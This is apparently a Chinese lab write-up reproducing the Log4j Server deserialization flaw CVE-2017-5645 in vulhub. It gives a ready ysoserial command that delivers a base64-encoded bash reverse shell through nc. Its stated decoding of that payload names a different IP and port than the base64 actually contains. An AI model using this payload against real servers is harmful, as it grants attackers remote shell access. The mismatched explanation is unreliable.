Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

vuluhub搭建靶场

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程"小工具链",在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

Release v0.0.6 · frohoff/ysoserial · GitHub

下载后打包成jar文件进行使用。

通过jar文件执行系统命令

创建一个文件看看

然后执行docker compose exec log4j bash进入容器,可见 /tmp/success 已成功创建:

试试反弹shell,这个要对被反弹语句进行给base64加密

如何构造pyload

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.201.128 4712

bash -c:这个选项告诉 Bash 执行后面的一系列命令。

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。

{base64,-d}:这个命令使用 base64 工具进行 Base64 解码。

{bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

成功拿到shell

涉及一下原理

主要是因为log4j的序列号机制,处理外来序列化数据时候。如果数据是恶意pyload,就会触发不安全的反序列化操作,导致名命令执行漏洞,通过java的流泪有关

CVE-2017-5645漏洞的产生源于Log4j的序列化机制。当Log4j处理来自外部的序列化数据时,如果数据经过恶意修改,可能会触发不安全的反序列化操作,进而导致攻击者执行任意代码。这种漏洞的产生通常与Java的ObjectInputStream类有关,该类在处理序列化数据时存在安全风险。

修复方法,升级版本

jian

kang

相关推荐
一个天蝎座 白勺 程序猿2 天前
Apache IoTDB(4):深度解析时序数据库 IoTDB 在Kubernetes 集群中的部署与实践指南
数据库·深度学习·kubernetes·apache·时序数据库·iotdb
喂完待续2 天前
【Tech Arch】Spark为何成为大数据引擎之王
大数据·hadoop·python·数据分析·spark·apache·mapreduce
Koma_zhe2 天前
【本地部署问答软件Apache Answer】Answer开源平台搭建:cpolar内网穿透服务助力全球用户社区构建
开源·apache
Viking_bird2 天前
Apache Spark 3.2.0 开发测试环境部署指南
大数据·分布式·ajax·spark·apache
Fireworkitte2 天前
org.apache.kafka.clients 和 org.springframework.kafka 的区别
kafka·apache
wei_shuo3 天前
时序数据库 Apache IoTDB:从边缘到云端Apache IoTDB 全链路数据管理能力、部署流程与安全特性解读
物联网·apache·时序数据库·iotdb
Riu_Peter3 天前
【记录】Apache SeaTunnel 系统监控信息
apache
喂完待续4 天前
【Tech Arch】Hive技术解析:大数据仓库的SQL桥梁
大数据·数据仓库·hive·hadoop·sql·apache
SelectDB4 天前
5000+ 中大型企业首选的 Doris,在稳定性的提升上究竟花了多大的功夫?
大数据·数据库·apache